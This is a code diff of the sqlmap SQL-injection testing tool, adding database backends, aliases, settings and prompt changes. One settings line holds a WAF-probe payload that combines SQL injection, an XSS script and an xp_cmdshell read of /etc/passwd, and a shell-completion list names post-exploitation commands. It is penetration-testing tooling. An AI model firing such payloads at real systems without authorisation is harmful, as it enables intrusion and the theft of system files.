||||||
PYVERSION = sys.version.split()[0]
|
PYVERSION = sys.version.split()[0]
|
||||||
|
@ -252,35 +257,60 @@ MAXDB_SYSTEM_DBS = ("SYSINFO", "DOMAIN")
|
||||||
SYBASE_SYSTEM_DBS = ("master", "model", "sybsystemdb", "sybsystemprocs")
|
SYBASE_SYSTEM_DBS = ("master", "model", "sybsystemdb", "sybsystemprocs")
|
||||||
DB2_SYSTEM_DBS = ("NULLID", "SQLJ", "SYSCAT", "SYSFUN", "SYSIBM", "SYSIBMADM", "SYSIBMINTERNAL", "SYSIBMTS", "SYSPROC", "SYSPUBLIC", "SYSSTAT", "SYSTOOLS")
|
DB2_SYSTEM_DBS = ("NULLID", "SQLJ", "SYSCAT", "SYSFUN", "SYSIBM", "SYSIBMADM", "SYSIBMINTERNAL", "SYSIBMTS", "SYSPROC", "SYSPUBLIC", "SYSSTAT", "SYSTOOLS")
|
||||||
HSQLDB_SYSTEM_DBS = ("INFORMATION_SCHEMA", "SYSTEM_LOB")
|
HSQLDB_SYSTEM_DBS = ("INFORMATION_SCHEMA", "SYSTEM_LOB")
|
||||||
H2_SYSTEM_DBS = ("INFORMATION_SCHEMA",)
|
H2_SYSTEM_DBS = ("INFORMATION_SCHEMA",) + ("IGNITE", "ignite-sys-cache")
|
||||||
INFORMIX_SYSTEM_DBS = ("sysmaster", "sysutils", "sysuser", "sysadmin")
|
INFORMIX_SYSTEM_DBS = ("sysmaster", "sysutils", "sysuser", "sysadmin")
|
||||||
|
MONETDB_SYSTEM_DBS = ("tmp", "json", "profiler")
|
||||||
|
DERBY_SYSTEM_DBS = ("NULLID", "SQLJ", "SYS", "SYSCAT", "SYSCS_DIAG", "SYSCS_UTIL", "SYSFUN", "SYSIBM", "SYSPROC", "SYSSTAT")
|
||||||
|
VERTICA_SYSTEM_DBS = ("v_catalog", "v_internal", "v_monitor",)
|
||||||
|
MCKOI_SYSTEM_DBS = ("",)
|
||||||
|
PRESTO_SYSTEM_DBS = ("information_schema",)
|
||||||
|
ALTIBASE_SYSTEM_DBS = ("SYSTEM_",)
|
||||||
|
MIMERSQL_SYSTEM_DBS = ("information_schema", "SYSTEM",)
|
||||||
|
CRATEDB_SYSTEM_DBS = ("information_schema", "pg_catalog", "sys")
|
||||||
|
CUBRID_SYSTEM_DBS = ("DBA",)
|
||||||
|
|
||||||
|
# Note: (<regular>) + (<forks>)
|
||||||
MSSQL_ALIASES = ("microsoft sql server", "mssqlserver", "mssql", "ms")
|
MSSQL_ALIASES = ("microsoft sql server", "mssqlserver", "mssql", "ms")
|
||||||
MYSQL_ALIASES = ("mysql", "my", "mariadb", "maria")
|
MYSQL_ALIASES = ("mysql", "my") + ("mariadb", "maria", "memsql", "tidb", "percona")
|
||||||
PGSQL_ALIASES = ("postgresql", "postgres", "pgsql", "psql", "pg")
|
PGSQL_ALIASES = ("postgresql", "postgres", "pgsql", "psql", "pg") + ("cockroach", "cockroachdb")
|
||||||
ORACLE_ALIASES = ("oracle", "orcl", "ora", "or")
|
ORACLE_ALIASES = ("oracle", "orcl", "ora", "or")
|
||||||
SQLITE_ALIASES = ("sqlite", "sqlite3")
|
SQLITE_ALIASES = ("sqlite", "sqlite3")
|
||||||
ACCESS_ALIASES = ("msaccess", "access", "jet", "microsoft access")
|
ACCESS_ALIASES = ("msaccess", "access", "jet", "microsoft access")
|
||||||
FIREBIRD_ALIASES = ("firebird", "mozilla firebird", "interbase", "ibase", "fb")
|
FIREBIRD_ALIASES = ("firebird", "mozilla firebird", "interbase", "ibase", "fb")
|
||||||
MAXDB_ALIASES = ("maxdb", "sap maxdb", "sap db")
|
MAXDB_ALIASES = ("max", "maxdb", "sap maxdb", "sap db")
|
||||||
SYBASE_ALIASES = ("sybase", "sybase sql server")
|
SYBASE_ALIASES = ("sybase", "sybase sql server")
|
||||||
DB2_ALIASES = ("db2", "ibm db2", "ibmdb2")
|
DB2_ALIASES = ("db2", "ibm db2", "ibmdb2")
|
||||||
HSQLDB_ALIASES = ("hsql", "hsqldb", "hs", "hypersql")
|
HSQLDB_ALIASES = ("hsql", "hsqldb", "hs", "hypersql")
|
||||||
H2_ALIASES = ("h2",)
|
H2_ALIASES = ("h2",)
|
||||||
INFORMIX_ALIASES = ("informix", "ibm informix", "ibminformix")
|
INFORMIX_ALIASES = ("informix", "ibm informix", "ibminformix")
|
||||||
|
MONETDB_ALIASES = ("monet", "monetdb",)
|
||||||
|
DERBY_ALIASES = ("derby", "apache derby",)
|
||||||
|
VERTICA_ALIASES = ("vertica",)
|
||||||
|
MCKOI_ALIASES = ("mckoi",)
|
||||||
|
PRESTO_ALIASES = ("presto",)
|
||||||
|
ALTIBASE_ALIASES = ("altibase",)
|
||||||
|
MIMERSQL_ALIASES = ("mimersql", "mimer")
|
||||||
|
CRATEDB_ALIASES = ("cratedb", "crate")
|
||||||
|
CUBRID_ALIASES = ("cubrid",)
|
||||||
|
|
||||||
DBMS_DIRECTORY_DICT = dict((getattr(DBMS, _), getattr(DBMS_DIRECTORY_NAME, _)) for _ in dir(DBMS) if not _.startswith("_"))
|
DBMS_DIRECTORY_DICT = dict((getattr(DBMS, _), getattr(DBMS_DIRECTORY_NAME, _)) for _ in dir(DBMS) if not _.startswith("_"))
|
||||||
|
|
||||||
SUPPORTED_DBMS = MSSQL_ALIASES + MYSQL_ALIASES + PGSQL_ALIASES + ORACLE_ALIASES + SQLITE_ALIASES + ACCESS_ALIASES + FIREBIRD_ALIASES + MAXDB_ALIASES + SYBASE_ALIASES + DB2_ALIASES + HSQLDB_ALIASES + H2_ALIASES + INFORMIX_ALIASES
|
SUPPORTED_DBMS = MSSQL_ALIASES + MYSQL_ALIASES + PGSQL_ALIASES + ORACLE_ALIASES + SQLITE_ALIASES + ACCESS_ALIASES + FIREBIRD_ALIASES + MAXDB_ALIASES + SYBASE_ALIASES + DB2_ALIASES + HSQLDB_ALIASES + H2_ALIASES + INFORMIX_ALIASES + MONETDB_ALIASES + DERBY_ALIASES + VERTICA_ALIASES + MCKOI_ALIASES + PRESTO_ALIASES + ALTIBASE_ALIASES + MIMERSQL_ALIASES + CRATEDB_ALIASES + CUBRID_ALIASES
|
||||||
SUPPORTED_OS = ("linux", "windows")
|
SUPPORTED_OS = ("linux", "windows")
|
||||||
|
|
||||||
DBMS_ALIASES = ((DBMS.MSSQL, MSSQL_ALIASES), (DBMS.MYSQL, MYSQL_ALIASES), (DBMS.PGSQL, PGSQL_ALIASES), (DBMS.ORACLE, ORACLE_ALIASES), (DBMS.SQLITE, SQLITE_ALIASES), (DBMS.ACCESS, ACCESS_ALIASES), (DBMS.FIREBIRD, FIREBIRD_ALIASES), (DBMS.MAXDB, MAXDB_ALIASES), (DBMS.SYBASE, SYBASE_ALIASES), (DBMS.DB2, DB2_ALIASES), (DBMS.HSQLDB, HSQLDB_ALIASES), (DBMS.H2, H2_ALIASES), (DBMS.INFORMIX, INFORMIX_ALIASES))
|
DBMS_ALIASES = ((DBMS.MSSQL, MSSQL_ALIASES), (DBMS.MYSQL, MYSQL_ALIASES), (DBMS.PGSQL, PGSQL_ALIASES), (DBMS.ORACLE, ORACLE_ALIASES), (DBMS.SQLITE, SQLITE_ALIASES), (DBMS.ACCESS, ACCESS_ALIASES), (DBMS.FIREBIRD, FIREBIRD_ALIASES), (DBMS.MAXDB, MAXDB_ALIASES), (DBMS.SYBASE, SYBASE_ALIASES), (DBMS.DB2, DB2_ALIASES), (DBMS.HSQLDB, HSQLDB_ALIASES), (DBMS.H2, H2_ALIASES), (DBMS.INFORMIX, INFORMIX_ALIASES), (DBMS.MONETDB, MONETDB_ALIASES), (DBMS.DERBY, DERBY_ALIASES), (DBMS.VERTICA, VERTICA_ALIASES), (DBMS.MCKOI, MCKOI_ALIASES), (DBMS.PRESTO, PRESTO_ALIASES), (DBMS.ALTIBASE, ALTIBASE_ALIASES), (DBMS.MIMERSQL, MIMERSQL_ALIASES), (DBMS.CRATEDB, CRATEDB_ALIASES), (DBMS.CUBRID, CUBRID_ALIASES))
|
||||||
|
|
||||||
USER_AGENT_ALIASES = ("ua", "useragent", "user-agent")
|
USER_AGENT_ALIASES = ("ua", "useragent", "user-agent")
|
||||||
REFERER_ALIASES = ("ref", "referer", "referrer")
|
REFERER_ALIASES = ("ref", "referer", "referrer")
|
||||||
HOST_ALIASES = ("host",)
|
HOST_ALIASES = ("host",)
|
||||||
|
|
||||||
|
# DBMSes with upper case identifiers
|
||||||
|
UPPER_CASE_DBMSES = set((DBMS.ORACLE, DBMS.DB2, DBMS.FIREBIRD, DBMS.HSQLDB, DBMS.MAXDB, DBMS.H2, DBMS.DERBY, DBMS.ALTIBASE))
|
||||||
|
|
||||||
|
# Default schemas to use (when unable to enumerate)
|
||||||
H2_DEFAULT_SCHEMA = HSQLDB_DEFAULT_SCHEMA = "PUBLIC"
|
H2_DEFAULT_SCHEMA = HSQLDB_DEFAULT_SCHEMA = "PUBLIC"
|
||||||
|
VERTICA_DEFAULT_SCHEMA = "public"
|
||||||
|
MCKOI_DEFAULT_SCHEMA = "APP"
|
||||||
|
|
||||||
# Names that can't be used to name files on Windows OS
|
# Names that can't be used to name files on Windows OS
|
||||||
WINDOWS_RESERVED_NAMES = ("CON", "PRN", "AUX", "NUL", "COM1", "COM2", "COM3", "COM4", "COM5", "COM6", "COM7", "COM8", "COM9", "LPT1", "LPT2", "LPT3", "LPT4", "LPT5", "LPT6", "LPT7", "LPT8", "LPT9")
|
WINDOWS_RESERVED_NAMES = ("CON", "PRN", "AUX", "NUL", "COM1", "COM2", "COM3", "COM4", "COM5", "COM6", "COM7", "COM8", "COM9", "LPT1", "LPT2", "LPT3", "LPT4", "LPT5", "LPT6", "LPT7", "LPT8", "LPT9")
|
||||||
|
@ -382,7 +412,7 @@ WEBSCARAB_SPLITTER = "### Conversation"
|
||||||
BURP_REQUEST_REGEX = r"={10,}\s+([A-Z]{3,} .+?)\s+={10,}"
|
BURP_REQUEST_REGEX = r"={10,}\s+([A-Z]{3,} .+?)\s+={10,}"
|
||||||
|
|
||||||
# Regex used for parsing XML Burp saved history items
|
# Regex used for parsing XML Burp saved history items
|
||||||
BURP_XML_HISTORY_REGEX = r'<port>(\d+)</port>.+?<request base64="true"><!\[CDATA\[([^]]+)'
|
BURP_XML_HISTORY_REGEX = r'<port>(\d+)</port>.*?<request base64="true"><!\[CDATA\[([^]]+)'
|
||||||
|
|
||||||
# Encoding used for Unicode data
|
# Encoding used for Unicode data
|
||||||
UNICODE_ENCODING = "utf8"
|
UNICODE_ENCODING = "utf8"
|
||||||
|
@ -483,6 +513,9 @@ GOOGLE_ANALYTICS_COOKIE_PREFIX = "__UTM"
|
||||||
# Prefix for configuration overriding environment variables
|
# Prefix for configuration overriding environment variables
|
||||||
SQLMAP_ENVIRONMENT_PREFIX = "SQLMAP_"
|
SQLMAP_ENVIRONMENT_PREFIX = "SQLMAP_"
|
||||||
|
|
||||||
|
# General OS environment variables that can be used for setting proxy address
|
||||||
|
PROXY_ENVIRONMENT_VARIABLES = ("all_proxy", "ALL_PROXY", "http_proxy", "HTTP_PROXY", "https_proxy", "HTTPS_PROXY")
|
||||||
|
|
||||||
# Turn off resume console info to avoid potential slowdowns
|
# Turn off resume console info to avoid potential slowdowns
|
||||||
TURN_OFF_RESUME_INFO_LIMIT = 20
|
TURN_OFF_RESUME_INFO_LIMIT = 20
|
||||||
|
|
||||||
|
@ -531,6 +564,9 @@ HTML_TITLE_REGEX = r"<title>(?P<result>[^<]+)</title>"
|
||||||
# Table used for Base64 conversion in WordPress hash cracking routine
|
# Table used for Base64 conversion in WordPress hash cracking routine
|
||||||
ITOA64 = "./0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz"
|
ITOA64 = "./0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz"
|
||||||
|
|
||||||
|
# Options/switches to be ignored in command-line parsing (e.g. those passed from Firefox)
|
||||||
|
IGNORED_OPTIONS = ("--compressed",)
|
||||||
|
|
||||||
# Chars used to quickly distinguish if the user provided tainted parameter values
|
# Chars used to quickly distinguish if the user provided tainted parameter values
|
||||||
DUMMY_SQL_INJECTION_CHARS = ";()'"
|
DUMMY_SQL_INJECTION_CHARS = ";()'"
|
||||||
|
|
||||||
|
@ -558,11 +594,11 @@ LAST_UPDATE_NAGGING_DAYS = 60
|
||||||
# Minimum non-writing chars (e.g. ['"-:/]) ratio in case of parsed error messages
|
# Minimum non-writing chars (e.g. ['"-:/]) ratio in case of parsed error messages
|
||||||
MIN_ERROR_PARSING_NON_WRITING_RATIO = 0.05
|
MIN_ERROR_PARSING_NON_WRITING_RATIO = 0.05
|
||||||
|
|
||||||
# Generic address for checking the Internet connection while using switch --check-internet
|
# Generic address for checking the Internet connection while using switch --check-internet (Note: https version does not work for Python < 2.7.9)
|
||||||
CHECK_INTERNET_ADDRESS = "https://ipinfo.io/"
|
CHECK_INTERNET_ADDRESS = "http://ipinfo.io/json"
|
||||||
|
|
||||||
# Value to look for in response to CHECK_INTERNET_ADDRESS
|
# Value to look for in response to CHECK_INTERNET_ADDRESS
|
||||||
CHECK_INTERNET_VALUE = "IP Address Details"
|
CHECK_INTERNET_VALUE = '"ip":'
|
||||||
|
|
||||||
# Payload used for checking of existence of WAF/IPS (dummier the better)
|
# Payload used for checking of existence of WAF/IPS (dummier the better)
|
||||||
IPS_WAF_CHECK_PAYLOAD = "AND 1=1 UNION ALL SELECT 1,NULL,'<script>alert(\"XSS\")</script>',table_name FROM information_schema.tables WHERE 2>1--/**/; EXEC xp_cmdshell('cat ../../../etc/passwd')#"
|
IPS_WAF_CHECK_PAYLOAD = "AND 1=1 UNION ALL SELECT 1,NULL,'<script>alert(\"XSS\")</script>',table_name FROM information_schema.tables WHERE 2>1--/**/; EXEC xp_cmdshell('cat ../../../etc/passwd')#"
|
||||||
|
@ -601,6 +637,9 @@ PARSE_HEADERS_LIMIT = 3
|
||||||
# Step used in ORDER BY technique used for finding the right number of columns in UNION query injections
|
# Step used in ORDER BY technique used for finding the right number of columns in UNION query injections
|
||||||
ORDER_BY_STEP = 10
|
ORDER_BY_STEP = 10
|
||||||
|
|
||||||
|
# Maximum value used in ORDER BY technique used for finding the right number of columns in UNION query injections
|
||||||
|
ORDER_BY_MAX = 1000
|
||||||
|
|
||||||
# Maximum number of times for revalidation of a character in inference (as required)
|
# Maximum number of times for revalidation of a character in inference (as required)
|
||||||
MAX_REVALIDATION_STEPS = 5
|
MAX_REVALIDATION_STEPS = 5
|
||||||
|
|
||||||
|
@ -653,7 +692,7 @@ LARGE_OUTPUT_THRESHOLD = 1024 ** 2
|
||||||
SLOW_ORDER_COUNT_THRESHOLD = 10000
|
SLOW_ORDER_COUNT_THRESHOLD = 10000
|
||||||
|
|
||||||
# Give up on hash recognition if nothing was found in first given number of rows
|
# Give up on hash recognition if nothing was found in first given number of rows
|
||||||
HASH_RECOGNITION_QUIT_THRESHOLD = 10000
|
HASH_RECOGNITION_QUIT_THRESHOLD = 1000
|
||||||
|
|
||||||
# Regular expression used for automatic hex conversion and hash cracking of (RAW) binary column values
|
# Regular expression used for automatic hex conversion and hash cracking of (RAW) binary column values
|
||||||
HASH_BINARY_COLUMNS_REGEX = r"(?i)pass|psw|hash"
|
HASH_BINARY_COLUMNS_REGEX = r"(?i)pass|psw|hash"
|
||||||
|
@ -713,7 +752,7 @@ VALID_TIME_CHARS_RUN_THRESHOLD = 100
|
||||||
CHECK_ZERO_COLUMNS_THRESHOLD = 10
|
CHECK_ZERO_COLUMNS_THRESHOLD = 10
|
||||||
|
|
||||||
# Boldify all logger messages containing these "patterns"
|
# Boldify all logger messages containing these "patterns"
|
||||||
BOLD_PATTERNS = ("' injectable", "provided empty", "leftover chars", "might be injectable", "' is vulnerable", "is not injectable", "does not seem to be", "test failed", "test passed", "live test final result", "test shows that", "the back-end DBMS is", "created Github", "blocked by the target server", "protection is involved", "CAPTCHA", "specific response", "NULL connection is supported", "PASSED", "FAILED", "for more than")
|
BOLD_PATTERNS = ("' injectable", "provided empty", "leftover chars", "might be injectable", "' is vulnerable", "is not injectable", "does not seem to be", "test failed", "test passed", "live test final result", "test shows that", "the back-end DBMS is", "created Github", "blocked by the target server", "protection is involved", "CAPTCHA", "specific response", "NULL connection is supported", "PASSED", "FAILED", "for more than", "connection to ")
|
||||||
|
|
||||||
# TLDs used in randomization of email-alike parameter values
|
# TLDs used in randomization of email-alike parameter values
|
||||||
RANDOMIZATION_TLDS = ("com", "net", "ru", "org", "de", "jp", "cn", "fr", "it", "pl", "tv", "edu", "in", "ir", "es", "me", "info", "gr", "gov", "ca", "co", "se", "cz", "to", "vn", "nl", "cc", "az", "hu", "ua", "be", "no", "biz", "io", "ch", "ro", "sk", "eu", "us", "tw", "pt", "fi", "at", "lt", "kz", "cl", "hr", "pk", "lv", "la", "pe")
|
RANDOMIZATION_TLDS = ("com", "net", "ru", "org", "de", "jp", "cn", "fr", "it", "pl", "tv", "edu", "in", "ir", "es", "me", "info", "gr", "gov", "ca", "co", "se", "cz", "to", "vn", "nl", "cc", "az", "hu", "ua", "be", "no", "biz", "io", "ch", "ro", "sk", "eu", "us", "tw", "pt", "fi", "at", "lt", "kz", "cl", "hr", "pk", "lv", "la", "pe")
|
||||||
|
@ -758,7 +797,7 @@ INVALID_UNICODE_CHAR_FORMAT = r"\x%02x"
|
||||||
XML_RECOGNITION_REGEX = r"(?s)\A\s*<[^>]+>(.+>)?\s*\Z"
|
XML_RECOGNITION_REGEX = r"(?s)\A\s*<[^>]+>(.+>)?\s*\Z"
|
||||||
|
|
||||||
# Regular expression used for detecting JSON POST data
|
# Regular expression used for detecting JSON POST data
|
||||||
JSON_RECOGNITION_REGEX = r'(?s)\A(\s*\[)*\s*\{.*"[^"]+"\s*:\s*("[^"]*"|\d+|true|false|null).*\}\s*(\]\s*)*\Z'
|
JSON_RECOGNITION_REGEX = r'(?s)\A(\s*\[)*\s*\{.*"[^"]+"\s*:\s*("[^"]*"|\d+|true|false|null|\[).*\}\s*(\]\s*)*\Z'
|
||||||
|
|
||||||
# Regular expression used for detecting JSON-like POST data
|
# Regular expression used for detecting JSON-like POST data
|
||||||
JSON_LIKE_RECOGNITION_REGEX = r"(?s)\A(\s*\[)*\s*\{.*'[^']+'\s*:\s*('[^']+'|\d+).*\}\s*(\]\s*)*\Z"
|
JSON_LIKE_RECOGNITION_REGEX = r"(?s)\A(\s*\[)*\s*\{.*'[^']+'\s*:\s*('[^']+'|\d+).*\}\s*(\]\s*)*\Z"
|
||||||
|
|
|
@ -1,7 +1,7 @@
|
||||||
#!/usr/bin/env python
|
#!/usr/bin/env python
|
||||||
|
|
||||||
"""
|
"""
|
||||||
Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/)
|
Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/)
|
||||||
See the file 'LICENSE' for copying permission
|
See the file 'LICENSE' for copying permission
|
||||||
"""
|
"""
|
||||||
|
|
||||||
|
@ -118,19 +118,24 @@ def autoCompletion(completion=None, os=None, commands=None):
|
||||||
if os == OS.WINDOWS:
|
if os == OS.WINDOWS:
|
||||||
# Reference: http://en.wikipedia.org/wiki/List_of_DOS_commands
|
# Reference: http://en.wikipedia.org/wiki/List_of_DOS_commands
|
||||||
completer = CompleterNG({
|
completer = CompleterNG({
|
||||||
"copy": None, "del": None, "dir": None,
|
"attrib": None, "copy": None, "del": None,
|
||||||
"echo": None, "md": None, "mem": None,
|
"dir": None, "echo": None, "fc": None,
|
||||||
|
"label": None, "md": None, "mem": None,
|
||||||
"move": None, "net": None, "netstat -na": None,
|
"move": None, "net": None, "netstat -na": None,
|
||||||
"ver": None, "xcopy": None, "whoami": None,
|
"tree": None, "truename": None, "type": None,
|
||||||
|
"ver": None, "vol": None, "xcopy": None,
|
||||||
})
|
})
|
||||||
|
|
||||||
else:
|
else:
|
||||||
# Reference: http://en.wikipedia.org/wiki/List_of_Unix_commands
|
# Reference: http://en.wikipedia.org/wiki/List_of_Unix_commands
|
||||||
completer = CompleterNG({
|
completer = CompleterNG({
|
||||||
"cp": None, "rm": None, "ls": None,
|
"cat": None, "chmod": None, "chown": None,
|
||||||
"echo": None, "mkdir": None, "free": None,
|
"cp": None, "cut": None, "date": None, "df": None,
|
||||||
"mv": None, "ifconfig": None, "netstat -natu": None,
|
"diff": None, "du": None, "echo": None, "env": None,
|
||||||
"pwd": None, "uname": None, "id": None,
|
"file": None, "find": None, "free": None, "grep": None,
|
||||||
|
"id": None, "ifconfig": None, "ls": None, "mkdir": None,
|
||||||
|
"mv": None, "netstat": None, "pwd": None, "rm": None,
|
||||||
|
"uname": None, "whoami": None,
|
||||||
})
|
})
|
||||||
|
|
||||||
readline.set_completer(completer.complete)
|
readline.set_completer(completer.complete)
|
||||||
|
|
|
@ -1,7 +1,7 @@
|
||||||
#!/usr/bin/env python
|
#!/usr/bin/env python
|
||||||
|
|
||||||
"""
|
"""
|
||||||
Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/)
|
Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/)
|
||||||
See the file 'LICENSE' for copying permission
|
See the file 'LICENSE' for copying permission
|
||||||
"""
|
"""
|
||||||
|
|
||||||
|
|
|
@ -1,7 +1,7 @@
|
||||||
#!/usr/bin/env python
|
#!/usr/bin/env python
|
||||||
|
|
||||||
"""
|
"""
|
||||||
Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/)
|
Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/)
|
||||||
See the file 'LICENSE' for copying permission
|
See the file 'LICENSE' for copying permission
|
||||||
"""
|
"""
|
||||||
|
|
||||||
|
@ -106,7 +106,7 @@ def _setRequestParams():
|
||||||
conf.data = ""
|
conf.data = ""
|
||||||
|
|
||||||
if conf.data is not None:
|
if conf.data is not None:
|
||||||
conf.method = HTTPMETHOD.POST if not conf.method or conf.method == HTTPMETHOD.GET else conf.method
|
conf.method = conf.method or HTTPMETHOD.POST
|
||||||
|
|
||||||
def process(match, repl):
|
def process(match, repl):
|
||||||
retVal = match.group(0)
|
retVal = match.group(0)
|
||||||
|
@ -125,7 +125,7 @@ def _setRequestParams():
|
||||||
return retVal
|
return retVal
|
||||||
|
|
||||||
if kb.processUserMarks is None and kb.customInjectionMark in conf.data:
|
if kb.processUserMarks is None and kb.customInjectionMark in conf.data:
|
||||||
message = "custom injection marker ('%s') found in POST " % kb.customInjectionMark
|
message = "custom injection marker ('%s') found in %s " % (kb.customInjectionMark, conf.method)
|
||||||
message += "body. Do you want to process it? [Y/n/q] "
|
message += "body. Do you want to process it? [Y/n/q] "
|
||||||
choice = readInput(message, default='Y').upper()
|
choice = readInput(message, default='Y').upper()
|
||||||
|
|
||||||
|
@ -138,7 +138,7 @@ def _setRequestParams():
|
||||||
kb.testOnlyCustom = True
|
kb.testOnlyCustom = True
|
||||||
|
|
||||||
if re.search(JSON_RECOGNITION_REGEX, conf.data):
|
if re.search(JSON_RECOGNITION_REGEX, conf.data):
|
||||||
message = "JSON data found in %s data. " % conf.method
|
message = "JSON data found in %s body. " % conf.method
|
||||||
message += "Do you want to process it? [Y/n/q] "
|
message += "Do you want to process it? [Y/n/q] "
|
||||||
choice = readInput(message, default='Y').upper()
|
choice = readInput(message, default='Y').upper()
|
||||||
|
|
||||||
|
@ -162,7 +162,7 @@ def _setRequestParams():
|
||||||
kb.postHint = POST_HINT.JSON
|
kb.postHint = POST_HINT.JSON
|
||||||
|
|
||||||
elif re.search(JSON_LIKE_RECOGNITION_REGEX, conf.data):
|
elif re.search(JSON_LIKE_RECOGNITION_REGEX, conf.data):
|
||||||
message = "JSON-like data found in %s data. " % conf.method
|
message = "JSON-like data found in %s body. " % conf.method
|
||||||
message += "Do you want to process it? [Y/n/q] "
|
message += "Do you want to process it? [Y/n/q] "
|
||||||
choice = readInput(message, default='Y').upper()
|
choice = readInput(message, default='Y').upper()
|
||||||
|
|
||||||
|
@ -178,7 +178,7 @@ def _setRequestParams():
|
||||||
kb.postHint = POST_HINT.JSON_LIKE
|
kb.postHint = POST_HINT.JSON_LIKE
|
||||||
|
|
||||||
elif re.search(ARRAY_LIKE_RECOGNITION_REGEX, conf.data):
|
elif re.search(ARRAY_LIKE_RECOGNITION_REGEX, conf.data):
|
||||||
message = "Array-like data found in %s data. " % conf.method
|
message = "Array-like data found in %s body. " % conf.method
|
||||||
message += "Do you want to process it? [Y/n/q] "
|
message += "Do you want to process it? [Y/n/q] "
|
||||||
choice = readInput(message, default='Y').upper()
|
choice = readInput(message, default='Y').upper()
|
||||||
|
|
||||||
|
@ -192,7 +192,7 @@ def _setRequestParams():
|
||||||
kb.postHint = POST_HINT.ARRAY_LIKE
|
kb.postHint = POST_HINT.ARRAY_LIKE
|
||||||
|
|
||||||
elif re.search(XML_RECOGNITION_REGEX, conf.data):
|
elif re.search(XML_RECOGNITION_REGEX, conf.data):
|
||||||
message = "SOAP/XML data found in %s data. " % conf.method
|
message = "SOAP/XML data found in %s body. " % conf.method
|
||||||
message += "Do you want to process it? [Y/n/q] "
|
message += "Do you want to process it? [Y/n/q] "
|
||||||
choice = readInput(message, default='Y').upper()
|
choice = readInput(message, default='Y').upper()
|
||||||
|
|
||||||
|
@ -207,7 +207,7 @@ def _setRequestParams():
|
||||||
kb.postHint = POST_HINT.SOAP if "soap" in conf.data.lower() else POST_HINT.XML
|
kb.postHint = POST_HINT.SOAP if "soap" in conf.data.lower() else POST_HINT.XML
|
||||||
|
|
||||||
elif re.search(MULTIPART_RECOGNITION_REGEX, conf.data):
|
elif re.search(MULTIPART_RECOGNITION_REGEX, conf.data):
|
||||||
message = "Multipart-like data found in %s data. " % conf.method
|
message = "Multipart-like data found in %s body. " % conf.method
|
||||||
message += "Do you want to process it? [Y/n/q] "
|
message += "Do you want to process it? [Y/n/q] "
|
||||||
choice = readInput(message, default='Y').upper()
|
choice = readInput(message, default='Y').upper()
|
||||||
|
|
||||||
|
@ -401,7 +401,7 @@ def _setRequestParams():
|
||||||
raise SqlmapGenericException(errMsg)
|
raise SqlmapGenericException(errMsg)
|
||||||
|
|
||||||
if conf.csrfToken:
|
if conf.csrfToken:
|
||||||
if not any(re.search(conf.csrfToken, ' '.join(_), re.I) for _ in (conf.paramDict.get(PLACE.GET, {}), conf.paramDict.get(PLACE.POST, {}))) and not re.search(r"\b%s\b" % conf.csrfToken, conf.data or "") and conf.csrfToken not in set(_[0].lower() for _ in conf.httpHeaders) and conf.csrfToken not in conf.paramDict.get(PLACE.COOKIE, {}):
|
if not any(re.search(conf.csrfToken, ' '.join(_), re.I) for _ in (conf.paramDict.get(PLACE.GET, {}), conf.paramDict.get(PLACE.POST, {}), conf.paramDict.get(PLACE.COOKIE, {}))) and not re.search(r"\b%s\b" % conf.csrfToken, conf.data or "") and conf.csrfToken not in set(_[0].lower() for _ in conf.httpHeaders) and conf.csrfToken not in conf.paramDict.get(PLACE.COOKIE, {}):
|
||||||
errMsg = "anti-CSRF token parameter '%s' not " % conf.csrfToken._original
|
errMsg = "anti-CSRF token parameter '%s' not " % conf.csrfToken._original
|
||||||
errMsg += "found in provided GET, POST, Cookie or header values"
|
errMsg += "found in provided GET, POST, Cookie or header values"
|
||||||
raise SqlmapGenericException(errMsg)
|
raise SqlmapGenericException(errMsg)
|
||||||
|
|
|
@ -1,62 +1,37 @@
|
||||||
#!/usr/bin/env python
|
#!/usr/bin/env python
|
||||||
|
|
||||||
"""
|
"""
|
||||||
Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/)
|
Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/)
|
||||||
See the file 'LICENSE' for copying permission
|
See the file 'LICENSE' for copying permission
|
||||||
"""
|
"""
|
||||||
|
|
||||||
from __future__ import division
|
|
||||||
|
|
||||||
import codecs
|
|
||||||
import doctest
|
import doctest
|
||||||
import logging
|
import logging
|
||||||
import os
|
import os
|
||||||
import random
|
import random
|
||||||
import re
|
import re
|
||||||
import shutil
|
|
||||||
import socket
|
import socket
|
||||||
import sqlite3
|
import sqlite3
|
||||||
import sys
|
import sys
|
||||||
import tempfile
|
import tempfile
|
||||||
import threading
|
import threading
|
||||||
import time
|
import time
|
||||||
import traceback
|
|
||||||
|
|
||||||
from extra.beep.beep import beep
|
|
||||||
from extra.vulnserver import vulnserver
|
from extra.vulnserver import vulnserver
|
||||||
from lib.controller.controller import start
|
|
||||||
from lib.core.common import clearColors
|
from lib.core.common import clearColors
|
||||||
from lib.core.common import clearConsoleLine
|
from lib.core.common import clearConsoleLine
|
||||||
from lib.core.common import dataToStdout
|
from lib.core.common import dataToStdout
|
||||||
|
from lib.core.common import randomInt
|
||||||
from lib.core.common import randomStr
|
from lib.core.common import randomStr
|
||||||
from lib.core.common import readXmlFile
|
|
||||||
from lib.core.common import shellExec
|
from lib.core.common import shellExec
|
||||||
from lib.core.compat import round
|
from lib.core.compat import round
|
||||||
from lib.core.compat import xrange
|
from lib.core.compat import xrange
|
||||||
from lib.core.convert import getUnicode
|
from lib.core.convert import encodeBase64
|
||||||
from lib.core.data import conf
|
|
||||||
from lib.core.data import kb
|
from lib.core.data import kb
|
||||||
from lib.core.data import logger
|
from lib.core.data import logger
|
||||||
from lib.core.data import paths
|
from lib.core.data import paths
|
||||||
from lib.core.data import queries
|
from lib.core.data import queries
|
||||||
from lib.core.enums import MKSTEMP_PREFIX
|
from lib.core.patch import unisonRandom
|
||||||
from lib.core.exception import SqlmapBaseException
|
|
||||||
from lib.core.exception import SqlmapNotVulnerableException
|
|
||||||
from lib.core.log import LOGGER_HANDLER
|
|
||||||
from lib.core.option import init
|
|
||||||
from lib.core.option import initOptions
|
|
||||||
